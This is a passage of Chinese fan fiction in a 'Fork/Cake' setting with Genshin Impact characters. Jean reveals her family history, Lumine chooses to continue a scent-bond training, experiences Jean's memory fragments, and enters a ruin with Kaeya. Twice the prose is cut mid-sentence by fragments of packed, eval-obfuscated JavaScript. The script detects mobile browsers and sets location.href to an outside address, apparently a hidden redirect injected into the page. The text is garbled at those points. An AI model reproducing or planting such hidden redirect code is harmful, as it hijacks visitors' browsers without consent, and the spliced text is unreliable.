“那现在你全知道了。”琴对着炉火说,声音在空旷的客厅里有些回响,“风险、家里的旧事、我为什么选这条路——不单是为了弄个‘完美样本’。” 她转回身。火在她背后烧着,脸在阴影里看不清轮廓,但那双眼睛很亮,亮得有点吓人。 “家里六百年的记录,所有被当‘样本’研究的Fork,最后结局就三种。”琴开始数,手指无意识地在身侧蜷起又松开,“要么憋疯了,在无止境的压抑里崩溃;要么放荡毁了,在欲望里沉到底;要么……” 她停了一下,声音低下去: “要么像我爹妈那样,在妥妥帖帖的规矩里,一点点干枯了。” 荧愣住了。“您父母?” 她记得古恩希尔德家族这一代只有琴和芭芭拉姐妹,从没听人提过她们父母的事。骑士团里的人也讳莫如深的样子。 “我妈是Cake,我爸是Fork。”琴说得很轻,像在说别人的事,但每个字都咬得很清楚,“按家族安排结的婚,门当户对,血统纯正。我爸戴一辈子最高规格的止咬器,除了洗漱吃饭从不摘下。我妈天天喝药剂,压住自己的气息,压到后来……” 她顿了顿,手指蜷得更紧了。 “压到后来,她身上几乎没什么Cake的味道了,像个普通人。但他们也从不碰对方——不是恨,就是……不碰。客客气气,相敬如宾,从没吵过架,也从没在一个屋里单独待超过十分钟。” 琴走回桌边,手撑在桌沿,身子往前倾了倾,看着荧的眼睛。这个距离,荧能看见她眼底下淡淡的青黑,能闻到她身上那股冷冽的冰雪松针气息里,混着一丝疲惫的苦味。 “我爸死的那天,风寒,很突然。”琴继续说,声音平得像结了冰的湖面,“我妈站在床头,看他咽气,一滴眼泪没掉。她转过身,对管家说的第一句话是:‘他终于解脱了,我也解脱了。’” 炉火又噼啪响了一声。 “那种‘安稳’,”琴的眼睛里有团火在烧,烧得荧心里发紧,“比曾曾姑奶奶艾德琳的疯劲更让我怕。疯至少是热的,是活的。那种死气沉沉的规矩,是冷的,是把人一点点磨成灰的。” 她直起身,又成了那个笔挺的代理团长,肩膀绷直,下颌收紧。但荧看见她垂在身侧的手在微微发抖,很小的幅度,不仔细看根本发现不了。 “所以我想找第三条路。”琴说,声音里的火还没熄,“不疯,也不死气沉沉。是两个人谁都别闭眼,清清楚楚看着对方,看着彼此身边的危险,但还选信对方——不是因为规矩,不是因为责任,是因为选了信。” 她停顿了很久,久到荧以为她说完了。 “这个联结,”琴最后说,声音沉下去,沉得很深,“就是这个选择的开始。” 客厅彻底安静下来。 荧坐在椅子上,能听见自己心脏在胸腔里咚咚地跳,能感觉到血液在耳膜里鼓胀的声音。她看着琴,看着这个不过二十出头却扛着一座城、一个家族、还有六百年沉重历史的年轻团长。突然觉得,琴肩上那些看不见的担子,可能比她自己想象的还要沉。 “现在选权在你。”琴重新开口,恢复了那种清晰的、条理分明的语调,但底下压着疲惫,“你可以不干了。我会用温和的药剂,把你身上那点‘镇魂香’的引子清掉——这个过程很快,最多两小时,没什么显著风险。然后我们可以试试别的训练方法,传统的那种:意志对抗、药物辅助、渐进暴露。可能慢点,效果差些,但看起来‘安全’点。” 她停了一下,手指在桌面上敲了敲,像在下什么决心。 “或者,你接着练。”琴看向荧,眼睛一眨不眨,“但不再是蒙着眼跟我走。你得真明白每一步在干什么,得跟我一起盯着联结的状况,得学着自己加固那个锚点,甚至……万一真出事了,怎么护着自己,怎么在反噬里少伤点。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122938|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的语速慢下来,每个字都说得很清楚: “这意味着会更难,更疼。因为你得自己往里跳,得想,得判断,得担一部分重量。你可能半夜睡不着,琢磨今天感知到的波动是不是预警;可能在训练里疼得想吐,还得保持清醒数呼吸;可能某天突然恨我,恨我让你摊上这些破事,这些原本跟你没关系的事。” 琴说完最后一个字,客厅里只剩下炉火燃烧的细碎声响。 她看着荧,等一个答案。眼神里没逼她,就一片静,像冬天里冻实的湖面,底下深不见底,但表面平静地等着。 荧也看着她。 脑子里很乱,很多画面挤在一起:派蒙窝在她怀里打呼噜的小身子;低语森林里那个昏迷骑士煞白的脸;凯亚笑眯眯说“小可爱,你根本不知道自己是什么”的样子;迪卢克递过来那瓶枣椰蜜糖时沉默的眼神。 还有她自己心里那点简单的念头——想护着点什么,想正正经经活下去,想有一天能抬头挺胸走在街上,不用躲着谁,也不用怕自己变成怪物。 怕还是怕,手脚冰凉,胃里沉甸甸的。但这怕底下,有什么东西正在一点点凝起来,硬起来,像冬天河水底下慢慢结起的冰。 她想起琴刚才说的“死气沉沉的规矩”,想起那对从不触碰的夫妻。想起艾德琳最后把自己锁死的那个止咬器。 然后她想起昨天下午,在那股甜得发腻、暖得让人想沉进去睡着的诱惑里,琴的手指是怎么按上她后颈的。冰冷,强硬,像把冰锥子扎进滚水里,激得她一个哆嗦,神志瞬间被扯回现实。 那疼劲儿,现在想想,反而比那股诱惑更真实。疼至少是她自己的,清醒也是她自己的。 荧深吸一口气,吸得胸口发胀。她开口,声音一开始有点抖,像绷紧的弦在风里颤: “我接着练。” 琴的眼睛微微睁大了点。很小很小的变化,但荧看见了——那湖蓝色的瞳孔里有什么东西晃了一下,像石子投进深潭。 “但我要知道每一步在干什么。”荧接着说,手在膝盖上攥成了拳,指甲掐进掌心,疼让她更清醒,“我要学怎么护着自己,不是全靠您拉着。还有——” 她停了一下,把这个条件在脑子里又过了一遍,确保说出口不会后悔。 “——万一哪天我觉得这联结害处比好处大了,风险高到扛不住了,我要能喊停。不是等您来判断,不是让您来‘负责’硬扯开,是咱们一起,找个最不伤人的法子,慢慢解开。像拆线,不能硬撕。” 这是她能给自己争到的最大的主动权了。不多,就这一点点,但够了。 琴盯着她看,看了很久。炉火光在她脸上晃来晃去,明明暗暗,看不清表情。荧能听见自己呼吸的声音,能感觉到手心里的汗慢慢变冷。 最后,琴极轻地点了下头。幅度很小,但很确定。 “行。”她说,声音有点哑,像松了口气,又像压上了更重的东西,“我应你。” 她开始收拾桌上的东西。先把那个深紫色的“断链试剂”瓶子拧紧,放回一个小铁盒里,扣上搭扣。然后收起羊皮纸卷,动作小心地抚平边缘。最后拿起那个鸟嘴止咬器,握在手心里,握得指节发白,停顿了几秒,才把它也放进铁盒。 “那今天改练法。”琴说,声音恢复了平时的清晰,但多了点别的——像是尊重,或者别的什么,“上午我教你怎么内视,感知自己身体里的气息流动,找到那个联结坐标具体在哪儿,长什么样。下午,第一次‘抗干扰’模拟训练。” 她看向荧:“我会用特制的、不引发食欲但强度不低的中性气息,暂时覆盖‘镇魂香’的坐标。你要试着在乱劲儿里保持清醒,盯住那个坐标,不被带偏。这是你学自保的第一步。” 琴顿了顿,补充道:“可能会难受,头晕,恶心,或者暂时性的感知错乱。但我会控着度,从最低强度开始,你觉得不行就喊停。” 荧点了点头。她想起刚才那个问题还没完全回答,又开口:“团长,最后一个问题。” 琴停下手,抬眼等她问。 “您做这么多,”荧问,声音不大,但每个字都说得很清楚,“真就为了证明……咱们这种人,也配有个不一样的结局吗?” 琴的手停在半空。 她没马上答,转头去看窗外。外头天亮了点,雾还没散,灰蒙蒙地罩着林子,远处的树只剩下模糊的轮廓。庄园的铁栏杆上凝着露水,一滴一滴往下坠。 过了好一阵——久到荧以为她不会回答了——琴才转回头。眼睛看着荧,又好像透过她在看别的什么,看很远的地方。 “曾曾姑奶奶艾德琳最后那本笔记里,有句话。”琴说得很慢,每个字都像从很深的地方挖出来的,带着湿冷的土腥气,“她写:‘不知道我俩是谁的惨事。兴许就是两个怕孤单的人,在黑处错抓了对方的手,还当是光。’” 她的指尖在那本硬壳笔记的封面上轻轻划过去,动作轻得像怕碰坏了什么易碎的东西。 “我不想在家里那本记录上再加个编号,再加个证明‘这路走不通’的例子。”琴的目光定回来,落在荧脸上,里头烧着荧看不太懂的光,滚烫又冰凉,“我想抓着那手,但这次,得睁着眼。看清楚抓的是谁,看清楚脚下是路还是崖。” 她拿起那个装着鸟嘴止咬器的铁盒,握在手心里,握了很久。最后轻轻放在桌角,没再碰。 “也得让人家能随时松开。”琴说,声音轻得像叹息,“不然就不是牵手,是拴牲口。” 说完,她没再看荧,转身往地下室那截石阶走。脚步声清清楚楚,一步,一步,踩在老石板上,发出闷实的回响,慢慢沉到下面黑暗里。 荧一个人留在客厅。 炉火弱下去了,只剩一堆暗红的炭,偶尔炸开一点火星。晨光总算透进雾,从高高的彩窗斜射进来几缕,灰蒙蒙的光里能看见空气里浮着的尘埃,慢悠悠地飘。 那光也照在桌上,照见那本深蓝绒布面的笔记本——艾德琳·古恩希尔德最后写的东西。封面的绒已经磨秃了边角,露出底下发黑的布料。 荧伸出手,手指悬在封面上头,离那旧绒布只有一指距离。她能闻见陈旧纸张和干涸墨水的味道,混着一丝若有若无的、像是薰衣草又像是别的什么草药的香气。 但最后她还是没落下去。 她收回手,握成了拳头。掌心被指甲掐出的月牙形印子还在,隐隐作痛。 站起身的时候,腿有点麻。她跺了跺脚,血液重新流下去,针扎似的刺痒。然后她跟着那脚步声的方向,往石阶下走。 石阶又窄又陡,墙壁上嵌着老式的元素灯,光晕昏黄,只够照亮脚下一两步。越往下走越冷,潮气越重,能闻见地下特有的土腥味和石头冷冽的气息。 但荧没停。 一步一步,往今天走。往往后所有得她自己睁着眼选、担着怕走、但至少是自己选了的路里去。 [下章预告] 内视训练比荧想的更难——当意识沉入体内,她第一次“看见”自己气息图景的全貌,以及那个脆弱的、发着微光的坐标点。抗干扰模拟带来的晕眩和恶心远超预期,却也让她意外触碰到了联结的另一面:在极致的混乱中,琴的气息坐标竟呈现出某种……温暖的牵引感。而庄园之外,凯亚的“合作任务”已经安排妥当——那是个需要进入地下遗迹的探查任务,密闭空间、未知危险,以及凯亚本人刻意释放的气息,都将成为对荧的残酷测试。与此同时,迪卢克安插在庄园附近的暗哨传回了异常报告:不止一拨人在监视这里。三方第一次正面冲突的引线,已经滋滋作响。 12. 内视 石阶往下延伸,深入一片昏黄与黑暗交织的领域。墙壁是原始的岩层,摸上去湿冷粗糙,渗出的水珠在元素灯微弱的光晕下反射着黯淡的光。空气里有一股味道——陈年的灰尘、石头自身的冷冽,还有一种荧说不清道不明的、像是某种矿物混合着枯萎根茎的气息。 琴走在前面,她的背影在狭窄的通道里显得格外挺拔,却也莫名单薄。制服外套的肩膀处被岩壁蹭到,留下一点灰白的痕迹,她似乎没在意。 走了大概三四十级台阶,眼前豁然开朗。 地下空间的墙壁和天花板依然是粗糙的岩石,但地面铺着厚实的橡木板,虽然边缘有些磨损翘起,但还算平整。房间一角堆着些蒙尘的训练器械:木人桩、不同重量的石锁、磨损严重的皮质沙袋。另一侧则是一张厚重的长石桌,上面摆满了玻璃器皿。 荧的注意力立刻被石桌吸引过去。蒸馏瓶、冷凝管、大小不一的烧杯和坩埚,还有几十个贴着标签的水晶瓶,里面盛放着各色液体或粉末。空气里弥漫着复杂的草药气味,浓烈但不刺鼻,层层叠叠,像走进了一座陈年的香料仓库。 而在所有这些器皿的中心,一个小小的铜制香炉里,正袅袅升起一缕极淡的、近乎银白色的烟雾。那烟雾凝而不散,在空中缓缓盘旋,形成一个小小的漩涡。 “这是我的调香台。”琴走到石桌旁,手指轻轻拂过那些晶莹的瓶身,“也是古恩希尔德家族六百年来,研究Fork与Cake共存可能性的地方。” 她转身看向荧:“今天上午,你要学的不是战斗技巧,而是‘看’。” “看?”荧疑惑。 “看你自己。”琴示意荧走到房间中央,那里有一个用深色石材镶嵌出的圆形区域,边缘刻着一圈荧不认识的符文。“坐在这里,闭上眼睛。尝试将注意力从外部世界收回,转向你身体内部。” 荧依言盘膝坐下。石头很凉,透过裤子传来寒意。她闭上眼睛,视野陷入黑暗。 “感受你的呼吸。”琴的声音在空旷的地下室里回响,比平时更清晰,带着一点石壁反射的微颤,“感受空气进入鼻腔,流过喉咙,充盈肺部,再缓缓呼出。不要控制它,只是观察。” 荧努力照做。她努力是自己进入静态,初时只能感觉到自己有些急促的心跳,还有因为紧张而微微发僵的四肢。她试着放松肩膀,慢慢地,呼吸平缓下来。 “现在,把注意力放在你的……‘饥饿感’上。”琴的用词很谨慎,“不是肚子饿,而是你面对Cake时,身体里涌动的那种‘想要靠近、想要获取’的冲动。找到它,看着它,但别碰它。”这不难,荧几天前的训练就可以做到了 “好。现在,想象你在这个感觉的‘上方’,拉开一点距离,像一个旁观者那样看着它。”琴的指导非常具体,“然后,回想昨天训练时,我给你的‘镇魂香’的气息。不是用鼻子闻,而是在记忆里勾勒它带给你的感觉——那种冰冷的、清醒的锚定感。” 荧努力回想。冰雪松针,干燥薰衣草,底下那点温热的琥珀……记忆里的感觉有些模糊,但当她集中精神时,身体内部某个地方,忽然微微亮了一下。 很微弱的一点光,像是黑夜远处的一星烛火,但确实存在。它就悬在那团蠕动暗影的上方,散发着稳定的、冷白色的微光,光芒的边缘与暗影接触的地方,滋滋地冒着无形的“烟”,像是在中和,又像是在对抗。(感觉有点像内视元婴,hhh) “我看到了。”荧的声音里带着一丝惊讶,“有一个光点。” “那是联结坐标在你感知图景中的投影。”琴解释,“它还不稳定,很脆弱。现在,我要你尝试‘加固’它。方法很简单。用你的注意力,像刷子一样,一遍遍拂过那个光点,让它更清晰,更明亮。同时,保持对那团暗影的观察,但不要对抗,只是看着。” 荧试着去做。这需要一种奇怪的分心术——既要集中精神去“擦拭”光点,又要分出一部分意识“监视”暗影。很快,她就感到太阳穴发胀,额头渗出细汗。 时间在绝对的专注中失去意义。不知过了多久,那个光点似乎真的明亮了一点点,虽然变化微乎其微。而下方那团暗影,在稳定光点的照耀下,蠕动的幅度似乎也小了些许。 就在荧觉得渐渐摸到门道时,异变陡生。 或许是她的意识太过深入,或许是那个刚刚被加固了一点的坐标与琴的联系骤然加强——毫无征兆地,一些破碎的、不属于她的画面和感觉,猛地撞进了她的脑海。 先是尖锐的金属刮擦声,人群惊恐的尖叫。视野晃动,是一个奔跑的视角。街角,一个男人(Fork,止咬器的带子断了,金属格栅歪斜)正把另一个瘦小的身影(Cake,气息是甜腻的焦糖味)按在墙上,喉咙里发出野兽般的嗬嗬声。周围散落着菜篮,鸡蛋碎了流了一地黄白。恐惧的味道,浓烈得让人作呕。几个西风骑士试图靠近,男人猛地回头,眼睛血红,嘴角淌着涎水。止咬器断裂的金属边缘,反射着惨白的天光。一个念头,冰冷地滑过,“又失控了。这个月第三次。民众的忍耐快到极限了……” 画面闪烁着。 安静的房间,烛光。对面坐着的是芭芭拉,但比现在看起来更稚嫩些,穿着修女服,眼睛红红的。“姐姐,今天祷告时,又有人问我……问你到底能不能控制住城里的Fork。”芭芭拉的声音很小,带着哭腔,“他们说,如果你不是古恩希尔德,如果不是我在教会尽力安抚大家……他们就不支持改革法案了。”疲惫,沉重的疲惫,从骨头缝里渗出来。手指捏紧了羽毛笔,笔杆发出细微的咯吱声。一个决定,像石头落定:“我知道。辛苦你了,芭芭拉。继续帮我……稳住他们。至少,在我找到方法之前。” 画面骤然崩塌又快速搭建。 深夜,训练场空无一人。汗水浸透衬衫,重复着同一个挥剑动作,第一千次?第一万次?手臂肌肉在颤抖,肺部火辣辣地疼。必须控制,更精确,更完美。一丝一毫的气息都不能外泄。因为你是琴·古恩希尔德,你不能是“不稳定因素”,你必须比所有Cake都更克制,比所有Fork都更自律。你是标杆,是屏障,是……蒙德必须相信的“绝对安全”。喉咙里泛起铁锈味,但动作不能停。控制,控制,控制。 最后一段画面,更模糊,更私人。 一个狭窄的杂物间,窗户很高,透进一点点夕阳的光。一个看不清面容的年轻Fork,穿着旧皮甲,像是佣兵,背对着门口,快速摘下了自己的止咬器,长长地、无声地吸了一口气,肩膀垮下来,那一瞬间的放松近乎瘫软。然后他立刻重新戴好,金属扣合的声音在寂静中格外清晰。他没有回头,低声说:“就一口。外面的空气……真他妈的……”没有说完。门外传来脚步声,他挺直背,推门走了出去。画面里只剩下那扇高窗,和窗外一角灰蒙蒙的、自由的天空。 “荧!” 一声低喝将荧猛地拽回现实。她睁开眼睛,剧烈地喘息,冷汗已经浸湿了后背,心脏狂跳得像要撞碎肋骨。刚才那些画面和情绪残留着,尤其是那种沉甸甸的疲惫和压抑,几乎让她窒息。 琴半跪在她面前,脸色有些苍白,一只手虚按在荧的额前,一股清凉稳定的气息正缓缓输入。“你意识沉得太深,触发了初步的记忆回流。”琴的声音紧绷,“这是联结加深时可能出现的副作用。你看到了什么?” 荧张了张嘴,嗓子干哑。那些画面太真实,太私密,她不知道该不该说。 琴似乎从她的表情里读出了什么,眼神微微一暗,收回了手。“看到了……我的记忆碎片?” 荧艰难地点了点头。 琴沉默了片刻,站起身,走到调香台边,背对着荧。“是哪些部分?”她的声音很平静,但肩膀的线条有些僵硬。 荧犹豫了一下,挑着说了:“看到……街上Fork失控,芭芭拉和你说的话,还有……你晚上一个人训练。” 那个杂物间里的Fork,她没有提。那感觉太私人了,像是无意间窥见了陌生人最不堪的一刻。 “都是关于‘控制’和‘代价’的,是吗。”琴陈述道,手指无意识地拨弄着一个空水晶瓶,“这就是Fork必须佩戴止咬器的原因,荧。不是因为它能完全阻止失控——高阶Fork在极端诱惑下,损坏或挣脱止咬器并非不可能——而是因为它是一个符号。” 她转过身,目光清冷:“一个‘服从社会规训’‘愿意自我约束’的符号。民众需要这个符号来获得安全感。他们恐惧不可控的力量,恐惧本能压倒理性的怪物。止咬器告诉他们,‘看,这个危险被锁住了,他愿意被锁住。’” “所以琴团长你……”荧迟疑地问。 “所以我必须是典范。”琴接了下去,语气里听不出情绪,“古恩希尔德家族是Fork研究世家,血统里就对Cake气息有特殊的掌控力和抗性。但这不够。我必须做到极致——气息收敛完美,情绪控制完美,决策公正无私,永远以蒙德为先。同时……” 她顿了顿:“芭芭拉在教会,用她的善良、亲和力,还有治愈的力量,为古恩希尔德这个姓氏积累民望,安抚民众对‘掌控着Fork秘密的家族’的恐惧。在西风教会影响力深厚的蒙德,这很重要。没有她,没有教会的支持,我坐不稳代理团长这个位置,更无法推行任何试图改善Fork处境的政策。” 地下室里很安静,只有元素灯偶尔发出的微弱嗡鸣。 “刚才你看到的那个失控的Fork,”琴继续说,声音低了些,“后来被制服了,没有酿成惨剧。但他被公开审判,戴上更严苛的止咬器,终身监禁。而民众的恐慌持续了很久,他们要求更严格的管制措施。每一次失控,都在把我们推回原点。” “所以您才这么着急寻找‘第三条路’。”荧明白了。不仅仅是为了个体,更是为了撕开这令人窒息的社会铁幕。 “这是一场与时间的赛跑。”琴走回房间中央,在荧对面坐下,“在我的威望耗尽之前,在民众的耐心耗尽之前,在下一个无可挽回的悲剧发生之前,我必须拿出一个‘可行方案’,证明Fork与Cake可以安全共存,证明本能可以被驾驭而非消灭。你……” 她看着荧,眼神复杂:“你可能是目前为止,最接近这个‘证明’的个体。” 压力再一次沉甸甸地压下来。荧觉得肩膀发酸。她想起那个杂物间里,摘下止咬器只为喘息一口“自由空气”的陌生Fork。原来那片刻的喘息,背后是如此庞大而冰冷的现实。 “记忆回流,”荧换了个话题,也是她切实的担忧,“以后会经常发生吗?” “随着联结加深,有可能。”琴坦诚道,“尤其是当你意识模糊、情绪剧烈波动,或者我这边有强烈情绪冲击时。所以你需要学习建立‘精神屏障’,区分哪些是你的感知,哪些是联结带来的反馈。这很难,但必须做到。” 她看了看旁边的沙漏:“上午先到这里。你第一次内视就触发了回流,精神消耗很大。休息半小时,然后我们开始‘抗干扰’训练。” 休息时间,荧靠着冰冷的石壁,慢慢喝水。脑子里还在回放那些记忆碎片。芭芭拉红着眼圈的担忧,琴深夜独自训练时那种近乎自虐的坚持,街头失控事件中弥漫的绝望与恐慌……这些碎片拼凑出一个更真实、也更残酷的蒙德,一个在风与自由表象下,充满无形枷锁与恐惧的城邦。 而自己,正不知不觉间,站到了这场无声风暴的中心。 “准备好了吗?”琴的声音打断了她的思绪。 荧点点头,放下水杯,重新走到石室中央。 琴从调香台上拿起一个不起眼的陶罐,打开盖子。里面是一种灰白色的细腻粉末。她用银匙舀出一点,放入香炉,与之前那缕银白烟雾混合。 刹那间,荧感觉周围的气息变了。 不再是琴那标志性的冷冽清香,也不是任何会引发食欲的Cake气息。而是一种中性的、却异常“浓厚”的气息。它像厚重的毛毯,又像粘稠的泥浆,从四面八方包裹过来,试图填满她所有的感知通道。空气变得滞重,呼吸都有些费力。更麻烦的是,在这片厚重的“灰白噪音”中,她之前清晰感知到的那个银色坐标光点,变得模糊、遥远,像是隔了好几层毛玻璃去看烛火。 眩晕感立刻袭来,还伴随着隐隐的恶心。 “感受它,但不要被它淹没。”琴的声音穿过这片气息的泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122939|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沼传来,有些失真,“你的坐标还在。找到它,盯住它,用你刚才学会的方法去‘擦拭’它,让它穿透这层干扰。” 荧闭上眼睛,努力沉入内视。那团暗影在灰白噪音的刺激下,似乎有些蠢蠢欲动。而银色光点飘摇不定,光芒微弱。她集中全部精神,像在暴风雨中操控一艘小艇,拼命朝着那点微光靠拢,用意识一遍遍拂去覆盖其上的“灰尘”。 汗水大颗大颗地滚落。干扰气息不仅作用于感知,似乎也影响着身体,肌肉开始酸痛,太阳穴突突地跳。好几次,那光点几乎要消失在噪音里,荧不得不咬紧牙关,在意识中反复勾勒冰雪松针的意象,用记忆里的冰冷刺痛来对抗现实中的混沌晕眩。 就在她快要撑不住的时候,忽然,在那极致的混乱与疲惫中,一丝极其微弱、却异常清晰的牵引感,从坐标光点的方向传来。 不是视觉,不是听觉,是一种更直接的、近乎直觉的“方向感”。就像人做梦的时候奇妙的知道时间点是什么,人物有谁,背景进展如何一样的直觉。顺着这股牵引,她摇摇欲坠的意识终于重新锚定,那个银色光点再次在感知中稳定下来,虽然光芒依旧微弱,但不再飘忽。 荧猛地睁开眼,大口喘气,后背完全湿透,像是刚从水里捞出来。 琴已经熄灭了香炉中的干扰粉末,空气中那股厚重的气息正在快速消散。她看着荧,眼中闪过一丝极细微的讶异。 “你感觉到了?”琴问。 “什么?”荧还在平复呼吸。 “联结的牵引。”琴走近几步,“在干扰最强、你自身意识最涣散的时候,联结坐标本身会对你产生一种导向性。那是双向联结开始真正形成的征兆之一。虽然还很弱。” 她递过来一条干净的手巾,“做得很好。第一次抗干扰训练,你不仅坚持了下来,还意外触碰到了联结更深层的特性。这说明你的潜质和意志力,比我想象的还要好。” 荧接过手巾擦汗,心里却没有多少喜悦。潜质越好,意味着她在这条路上陷得越深,也意味着琴——以及琴所代表的那种期望——押在她身上的筹码越重。 “下午继续巩固。”琴看了看天色,“你需要尽快适应这种程度的干扰,直到它无法再撼动你的坐标。然后,我们会进行更复杂的……” 她的话没说完,地面上方隐约传来了不疾不徐的敲门声。三下,停顿,又一下。 琴的脸色不易察觉地沉了沉。“是凯亚。”她看向通往地面的石阶,“看来他的‘合作任务’,等不到明天了。” 她示意荧跟上,两人一前一后回到地面客厅。 敲门声再次响起,这次带着点懒洋洋的节奏。 琴拉开门。凯亚倚在门框上,披风松散地搭在肩头,脸上挂着那副惯有的、让人捉摸不透的微笑。 “下午好,代理团长大人,还有我们可爱的荧。”他的独眼在荧还有些苍白的脸上转了一圈,笑意深了些,“看来训练很刻苦啊。” “凯亚队长,有什么事?”琴挡在门口,没有让开的意思。 “公务。”凯亚从怀里抽出一份盖着印章的卷宗,“清泉镇以北,靠近奔狼领边缘,发现一处可疑的地下山体裂隙,有深渊教团活动迹象,也可能有古代遗迹。需要一支小队进行初步探查评估。” 他把卷宗递给琴:“我申请带荧一起去。理由嘛……她需要实战环境来检验训练成果,而遗迹封闭空间,对于‘某些测试’来说,条件得天独厚。” 他的目光意有所指地扫过荧。 琴迅速浏览着卷宗,眉头越皱越紧:“这个地方的魔物活性评估是‘中高’,环境评估是‘复杂封闭’。让一个训练尚未完成的新手去,风险太大。” “所以才需要我这个经验丰富的队长带队啊。”凯亚笑眯眯地说,“而且,您不是一直希望她能尽快适应‘真实环境’吗?温室里的花朵,可经不起蒙德野外的风雨。” 他的语气轻松,但话里的意思却很明白:这是个测试,也是引诱。在封闭的遗迹里,他能更“安全”地试探荧的极限。 琴捏着卷宗,指节发白。她看向荧。 荧能感觉到空气中无形的角力。她知道凯亚在算计什么,也知道琴在担心什么。但她也想起刚才内视时看到的那些记忆碎片——街头失控的Fork,民众的恐惧,还有那种令人窒息的、无处不在的“控制”需求。 她需要变强,需要证明自己可控,也需要……在真正危险的环境里,看看自己到底能走到哪一步。 “我去。”荧听见自己说。 琴猛地看向她,眼神锐利。凯亚则挑了挑眉,笑容里多了点真实的兴致。 “就像凯亚队长说的,我需要实战。”荧迎着她的目光,“而且,如果我真的会成为‘证明’,那我至少得知道,在真正的压力下,我会是什么样。” 客厅里安静了几秒。 琴最终松开了捏紧卷宗的手,纸张边缘留下了深深的折痕。“准备一下,半小时后出发。”她对荧说,然后看向凯亚,声音压得很低,带着警告:“凯亚,她是骑士团的‘特殊受训人员’,不是你的实验品。她的安全,你负全责。” “当然。”凯亚右手抚胸,行了个无可挑剔的骑士礼,独眼中却闪烁着跃跃欲试的光芒,“我以我的名誉担保,会把她完好无损地带回来……至少,身体上完好无损。” 他最后一句话说得极轻,几乎像耳语,悄悄地爬过荧的耳朵。 琴没再说什么,转身去给荧准备必要的装备和抑制剂。凯亚则悠闲地踱步到窗边,望着外面依旧灰蒙蒙的天色,哼起一段轻快的蒙德小调。 荧站在客厅中央,感受着尚未完全平息的、来自抗干扰训练的眩晕与疲惫,还有对即将到来的未知遗迹探查的紧张。她知道,踏出这个庄园,跟着凯亚进入那个黑暗的地隙,就意味着真正踏入了一个更复杂、更危险的棋局。 而她,既是棋子,也必须在跌撞中学着,成为下棋的人。 【下章预告】 遗迹深处,黑暗黏稠如墨。凯亚的试探如毒蛇吐信,陌生气息诱惑低语。地动岩崩,非魔物的嘶吼自后逼近。绝境之中,荧握紧了剑...... 13. 陷阱 黑暗压下来,沉甸甸的。 荧跟在凯亚身后半步,脚下碎石滑动。石壁挨得很近,湿冷的岩面蹭过肩膀。凯亚手里那盏旧元素灯是唯一的光,暖黄光晕摇晃着,在长苔的石壁上投出参差怪影。 空气里有陈腐的味儿。 尘土,苔藓,渗水的石头。还有别的。 一丝极淡的、冰冷的甜腥气,从黑暗深处飘来,擦过感知边缘。 凯亚走得不快。 披风下摆扫过碎石,悉悉索索。他没回头,但荧知道—— 他在放饵。 冰冽里藏着醉人甜香的气息弥漫开来,被他控在微妙浓度。不让她立刻失控,却像羽毛持续搔刮后颈皮肤,挑动胃里那团沉睡的暗影。 “怕吗。” 凯亚忽然开口,声音在窄道里撞出低闷回响。他没回头。 荧没吭声,握紧训练木剑。剑柄粗糙,硌着掌心。她把意志分成两股。 一股死死按着胃里开始翻腾的暗影。 一股牢牢钉在意识深处那点微弱的银光上——琴留下的坐标。 在这里,那点光摇得像风里蜡烛。 “遗迹有趣。” 凯亚语调闲适,像在酒馆闲聊。灯盏举高,照亮前方一个岔路口。 左边通道幽深,隐约有水滴落的空灵回音。 右边更窄,岩壁有凿痕,暗淡的古老符文在光下一闪而过。 “选哪边。” 凯亚侧过脸。光影在他脸上切出明暗,独眼在暗处泛光,嘴角噙着笑。 “给你选,小可爱。左边听着安全。右边嘛……” 他顿了顿。 “可能有点意思的东西。” 荧盯着两个黑洞洞的入口。 这不是选路。是测试。 测试她的判断,她的胆子,还有——她会不会被那股越来越清晰的、从右边飘来的冰冷甜腥气牵着走。 她吸了口气。 气还没吐出来—— 砰! 闷响从背后炸开,混着岩石碎裂的刺耳噪音。 整个甬道猛震! 尘土簌簌落下。凯亚手里的灯盏剧烈摇晃,光影乱舞。 第二声。 第三声。 还夹着一种低沉的、扭曲的嘶吼。穿过岩壁传来,变了调,却依然听得出里面的暴虐。 和饥饿。 不是丘丘人。 也不是深渊法师。 凯亚脸上的笑容瞬间没了。 他侧耳听了一秒,独眼眯起。嘴角重新弯起来,但这次没温度。 “看来,”他低声说,语气里没有意外,“咱们的客人,比预定的来得早。” 顿了顿。 “胃口也更大。” 震动又来了,更近。碎石从头顶噼里啪啦往下掉。 荧的心脏在胸腔里狂撞。 前边是未知岔路和凯亚的游戏。 后边是不知道什么东西在撞墙。‘前有狼后有虎’ 而在这彻底封死的黑暗里,她能依靠的,除了手里这把木头剑,就只有意识里那点快要淹灭的银光。 凯亚转过身,面向来路。 军刀出鞘的声音很轻,在窄空间里异常清晰。冰蓝色的光在他指尖凝聚,空气温度骤降。 “计划有变,小可爱。” 他的声音还是很稳,甚至带了点……兴奋的颤音? “课堂实践提前结束了。” 他回头,看了荧一眼。那只独眼里情绪复杂,审视,估量。 “现在,是生存测试。” 他转回去,刀尖微抬。 “跟紧我。” 顿了顿。 “或者——试着活下去。用你学会的,或者……” 他没说完。 但荧听懂了。 或者,用你身体里那些还没学会的东西。 黑暗深处,那股冰冷甜腥的气息陡然变浓。 身后的嘶吼和崩塌声,迅速逼近。 